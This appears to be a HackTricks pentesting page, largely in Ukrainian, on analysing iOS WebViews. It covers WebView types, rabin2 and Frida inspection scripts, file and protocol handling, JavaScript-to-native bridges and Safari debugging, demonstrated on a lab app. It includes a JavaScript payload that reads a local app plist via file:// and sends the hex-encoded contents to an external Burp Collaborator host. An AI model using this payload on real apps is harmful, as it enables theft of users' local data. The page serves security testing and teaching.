iOS WebViews

Support HackTricks

The code of this page was extracted from here. Check the page for further details.

WebViews types

WebViews використовуються в додатках для інтерактивного відображення веб-контенту. Різні типи WebViews пропонують різні функціональні можливості та функції безпеки для iOS-додатків. Ось короткий огляд:

  • UIWebView, який більше не рекомендується з iOS 12 через відсутність підтримки вимкнення JavaScript, що робить його вразливим до ін'єкцій скриптів та атак Cross-Site Scripting (XSS).

  • WKWebView є переважним варіантом для інтеграції веб-контенту в додатки, пропонуючи покращений контроль над контентом та функціями безпеки. JavaScript увімкнено за замовчуванням, але його можна вимкнути за необхідності. Він також підтримує функції, щоб запобігти автоматичному відкриттю вікон JavaScript і забезпечує безпечне завантаження всього контенту. Крім того, архітектура WKWebView мінімізує ризик пошкодження пам'яті, що впливає на основний процес додатка.

  • SFSafariViewController пропонує стандартизований досвід веб-серфінгу в додатках, впізнаваний за своїм специфічним макетом, включаючи поле адреси тільки для читання, кнопки спільного доступу та навігації, а також пряме посилання для відкриття контенту в Safari. На відміну від WKWebView, JavaScript не можна вимкнути в SFSafariViewController, який також ділиться куками та даними з Safari, зберігаючи конфіденційність користувача від додатка. Його потрібно відображати помітно відповідно до рекомендацій App Store.

// Example of disabling JavaScript in WKWebView:
WKPreferences *preferences = [[WKPreferences alloc] init];
preferences.javaScriptEnabled = NO;
WKWebViewConfiguration *config = [[WKWebViewConfiguration alloc] init];
config.preferences = preferences;
WKWebView *webView = [[WKWebView alloc] initWithFrame:CGRectZero configuration:config];

WebViews Configuration Exploration Summary

Static Analysis Overview

У процесі вивчення конфігурацій WebViews акцентується на двох основних типах: UIWebView та WKWebView. Для ідентифікації цих WebViews у бінарному файлі використовуються команди, що шукають специфічні посилання на класи та методи ініціалізації.

  • UIWebView Identification

$ rabin2 -zz ./WheresMyBrowser | egrep "UIWebView$"

Ця команда допомагає знаходити екземпляри UIWebView, шукаючи текстові рядки, пов'язані з ним, у бінарному файлі.

  • Ідентифікація WKWebView

$ rabin2 -zz ./WheresMyBrowser | egrep "WKWebView$"

Аналогічно, для WKWebView ця команда шукає в бінарному файлі текстові рядки, що вказують на його використання.

Крім того, щоб дізнатися, як ініціалізується WKWebView, виконується наступна команда, яка націлена на підпис методу, пов'язаний з його ініціалізацією:

$ rabin2 -zzq ./WheresMyBrowser | egrep "WKWebView.*frame"

Перевірка конфігурації JavaScript

Для WKWebView підкреслюється, що вимкнення JavaScript є найкращою практикою, якщо це не потрібно. Скомпільований бінарний файл перевіряється, щоб підтвердити, що властивість javaScriptEnabled встановлена в false, що забезпечує вимкнення JavaScript:

$ rabin2 -zz ./WheresMyBrowser | grep -i "javascriptenabled"

Тільки перевірка безпечного контенту

WKWebView пропонує можливість виявлення проблем з змішаним контентом, на відміну від UIWebView. Це перевіряється за допомогою властивості hasOnlySecureContent, щоб забезпечити завантаження всіх ресурсів сторінки через безпечні з'єднання. Пошук у скомпільованому бінарному файлі виконується наступним чином:

$ rabin2 -zz ./WheresMyBrowser | grep -i "hasonlysecurecontent"

Інсайти динамічного аналізу

Динамічний аналіз передбачає перевірку купи на наявність екземплярів WebView та їх властивостей. Для цієї мети використовується скрипт під назвою webviews_inspector.js, який націлений на екземпляри UIWebView, WKWebView та SFSafariViewController. Він реєструє інформацію про знайдені екземпляри, включаючи URL-адреси та налаштування, пов'язані з JavaScript та безпечним контентом.

Перевірку купи можна проводити за допомогою ObjC.choose(), щоб ідентифікувати екземпляри WebView та перевірити властивості javaScriptEnabled та hasonlysecurecontent.

webviews_inspector.js
ObjC.choose(ObjC.classes['UIWebView'], {
onMatch: function (ui) {
console.log('onMatch: ', ui);
console.log('URL: ', ui.request().toString());
},
onComplete: function () {
console.log('done for UIWebView!');
}
});

ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('URL: ', wk.URL().toString());
},
onComplete: function () {
console.log('done for WKWebView!');
}
});

ObjC.choose(ObjC.classes['SFSafariViewController'], {
onMatch: function (sf) {
console.log('onMatch: ', sf);
},
onComplete: function () {
console.log('done for SFSafariViewController!');
}
});

ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('javaScriptEnabled:', wk.configuration().preferences().javaScriptEnabled());
}
});

ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
}
});

Скрипт виконується з:

frida -U com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js

Ключові результати:

  • Екземпляри WebViews успішно виявлені та перевірені.

  • Перевірено налаштування активації JavaScript та безпечного контенту.

Цей підсумок охоплює критичні кроки та команди, що беруть участь в аналізі конфігурацій WebView через статичні та динамічні підходи, зосереджуючи увагу на функціях безпеки, таких як активація JavaScript та виявлення змішаного контенту.

Обробка протоколів WebView

Обробка контенту в WebViews є критично важливим аспектом, особливо при роботі з різними протоколами, такими як http(s)://, file:// та tel://. Ці протоколи дозволяють завантажувати як віддалений, так і локальний контент в додатках. Підкреслюється, що при завантаженні локального контенту необхідно вжити заходів, щоб запобігти впливу користувачів на ім'я або шлях файлу та редагуванню самого контенту.

WebViews пропонують різні методи для завантаження контенту. Для UIWebView, який зараз застарів, використовуються методи, такі як loadHTMLString:baseURL: та loadData:MIMEType:textEncodingName:baseURL:. WKWebView, з іншого боку, використовує loadHTMLString:baseURL:, loadData:MIMEType:textEncodingName:baseURL: та loadRequest: для веб-контенту. Методи, такі як pathForResource:ofType:, URLForResource:withExtension: та init(contentsOf:encoding:), зазвичай використовуються для завантаження локальних файлів. Метод loadFileURL:allowingReadAccessToURL: особливо помітний завдяки своїй здатності завантажувати конкретний URL або каталог у WebView, потенційно відкриваючи чутливі дані, якщо вказано каталог.

Щоб знайти ці методи в вихідному коді або скомпільованому бінарному файлі, можна використовувати команди, подібні до наступних:

$ rabin2 -zz ./WheresMyBrowser | grep -i "loadHTMLString"
231 0x0002df6c 24 (4.__TEXT.__objc_methname) ascii loadHTMLString:baseURL:

Щодо доступу до файлів, UIWebView дозволяє його універсально, тоді як WKWebView вводить налаштування allowFileAccessFromFileURLs та allowUniversalAccessFromFileURLs для управління доступом з URL-адрес файлів, обидва з яких за замовчуванням мають значення false.

Приклад скрипта Frida надається для перевірки конфігурацій WKWebView для налаштувань безпеки:

ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('URL: ', wk.URL().toString());
console.log('javaScriptEnabled: ', wk.configuration().preferences().javaScriptEnabled());
console.log('allowFileAccessFromFileURLs: ',
wk.configuration().preferences().valueForKey_('allowFileAccessFromFileURLs').toString());
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
console.log('allowUniversalAccessFromFileURLs: ',
wk.configuration().valueForKey_('allowUniversalAccessFromFileURLs').toString());
},
onComplete: function () {
console.log('done for WKWebView!');
}
});

Нарешті, приклад JavaScript-пейлоада, спрямованого на ексфільтрацію локальних файлів, демонструє потенційний ризик безпеки, пов'язаний з неправильно налаштованими WebViews. Цей пейлоад кодує вміст файлів у шістнадцятковий формат перед їх передачею на сервер, підкреслюючи важливість суворих заходів безпеки в реалізаціях WebView.

String.prototype.hexEncode = function(){
var hex, i;
var result = "";
for (i=0; i<this.length; i++) {
hex = this.charCodeAt(i).toString(16);
result += ("000"+hex).slice(-4);
}
return result
}

var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
var xhr2 = new XMLHttpRequest();
xhr2.open('GET', 'http://187e2gd0zxunzmb5vlowsz4j1a70vp.burpcollaborator.net/'+xhr.responseText.hexEncode(), true);
xhr2.send(null);
}
}
xhr.open('GET', 'file:///var/mobile/Containers/Data/Application/ED4E0AD8-F7F7-4078-93CC-C350465048A5/Library/Preferences/com.authenticationfailure.WheresMyBrowser.plist', true);
xhr.send(null);

Native Methods Exposed Through WebViews

Understanding WebView Native Interfaces in iOS

З iOS 7 Apple надала API для зв'язку між JavaScript у WebView та нативними об'єктами Swift або Objective-C. Ця інтеграція в основному здійснюється через два методи:

  • JSContext: JavaScript-функція автоматично створюється, коли блок Swift або Objective-C пов'язується з ідентифікатором у JSContext. Це дозволяє безперешкодно інтегрувати та взаємодіяти між JavaScript та нативним кодом.

  • JSExport Protocol: Наслідуючи протокол JSExport, нативні властивості, методи екземпляра та методи класу можуть бути відкриті для JavaScript. Це означає, що будь-які зміни, внесені в середовищі JavaScript, відображаються в нативному середовищі, і навпаки. Однак важливо переконатися, що чутливі дані не відкриваються ненавмисно через цей метод.

Accessing JSContext in Objective-C

В Objective-C JSContext для UIWebView можна отримати за допомогою наступного рядка коду:

[webView valueForKeyPath:@"documentView.webView.mainFrame.javaScriptContext"]

Спілкування з WKWebView

Для WKWebView прямий доступ до JSContext недоступний. Натомість використовується передача повідомлень через функцію postMessage, що дозволяє JavaScript взаємодіяти з нативним кодом. Обробники для цих повідомлень налаштовуються наступним чином, що дозволяє JavaScript безпечно взаємодіяти з нативним додатком:

func enableJavaScriptBridge(_ enabled: Bool) {
options_dict["javaScriptBridge"]?.value = enabled
let userContentController = wkWebViewConfiguration.userContentController
userContentController.removeScriptMessageHandler(forName: "javaScriptBridge")

if enabled {
let javaScriptBridgeMessageHandler = JavaScriptBridgeMessageHandler()
userContentController.add(javaScriptBridgeMessageHandler, name: "javaScriptBridge")
}
}

Взаємодія та Тестування

JavaScript може взаємодіяти з нативним шаром, визначаючи обробник повідомлень скрипта. Це дозволяє виконувати операції, такі як виклик нативних функцій з веб-сторінки:

function invokeNativeOperation() {
value1 = document.getElementById("value1").value
value2 = document.getElementById("value2").value
window.webkit.messageHandlers.javaScriptBridge.postMessage(["multiplyNumbers", value1, value2]);
}

// Alternative method for calling exposed JavaScript functions
document.location = "javascriptbridge://addNumbers/" + 1 + "/" + 2

Щоб захопити та маніпулювати результатом виклику нативної функції, можна переопределити функцію зворотного виклику в HTML:

<html>
<script>
document.location = "javascriptbridge://getSecret"
function javascriptBridgeCallBack(name, result) {
alert(result);
}
</script>
</html>

Сторона нативного коду обробляє виклик JavaScript, як показано в класі JavaScriptBridgeMessageHandler, де результат операцій, таких як множення чисел, обробляється і надсилається назад до JavaScript для відображення або подальшої маніпуляції:

class JavaScriptBridgeMessageHandler: NSObject, WKScriptMessageHandler {
// Handling "multiplyNumbers" operation
case "multiplyNumbers":
let arg1 = Double(messageArray[1])!
let arg2 = Double(messageArray[2])!
result = String(arg1 * arg2)
// Callback to JavaScript
let javaScriptCallBack = "javascriptBridgeCallBack('\(functionFromJS)','\(result)')"
message.webView?.evaluateJavaScript(javaScriptCallBack, completionHandler: nil)
}

Налагодження iOS WebViews

(Посібник, оснований на https://blog.vuplex.com/debugging-webviews)

Щоб ефективно налагоджувати веб-контент у iOS webviews, потрібна специфічна налаштування, що включає інструменти розробника Safari, оскільки повідомлення, надіслані до console.log(), не відображаються в журналах Xcode. Ось спрощений посібник, що підкреслює ключові кроки та вимоги:

  • Підготовка на пристрої iOS: Необхідно активувати Web Inspector Safari на вашому пристрої iOS. Це робиться через Налаштування > Safari > Додатково, і ввімкнення Web Inspector.

  • Підготовка на пристрої macOS: На вашій розробницькій машині macOS потрібно ввімкнути інструменти розробника в Safari. Запустіть Safari, перейдіть до Safari > Налаштування > Додатково, і виберіть опцію Показати меню Розробка.

  • З'єднання та налагодження: Після підключення вашого пристрою iOS до комп'ютера macOS і запуску вашого додатку, використовуйте Safari на вашому пристрої macOS, щоб вибрати webview, який ви хочете налагоджувати. Перейдіть до Розробка в меню Safari, наведіть курсор на ім'я вашого пристрою iOS, щоб побачити список екземплярів webview, і виберіть екземпляр, який ви хочете перевірити. Відкриється нове вікно Web Inspector Safari для цієї мети.

Однак, будьте уважні до обмежень:

  • Налагодження цим методом вимагає пристрою macOS, оскільки воно залежить від Safari.

  • Тільки webviews у додатках, завантажених на ваш пристрій через Xcode, підлягають налагодженню. Webviews у додатках, встановлених через App Store або Apple Configurator, не можуть бути налагоджені цим способом.

Посилання

Support HackTricks

Last updated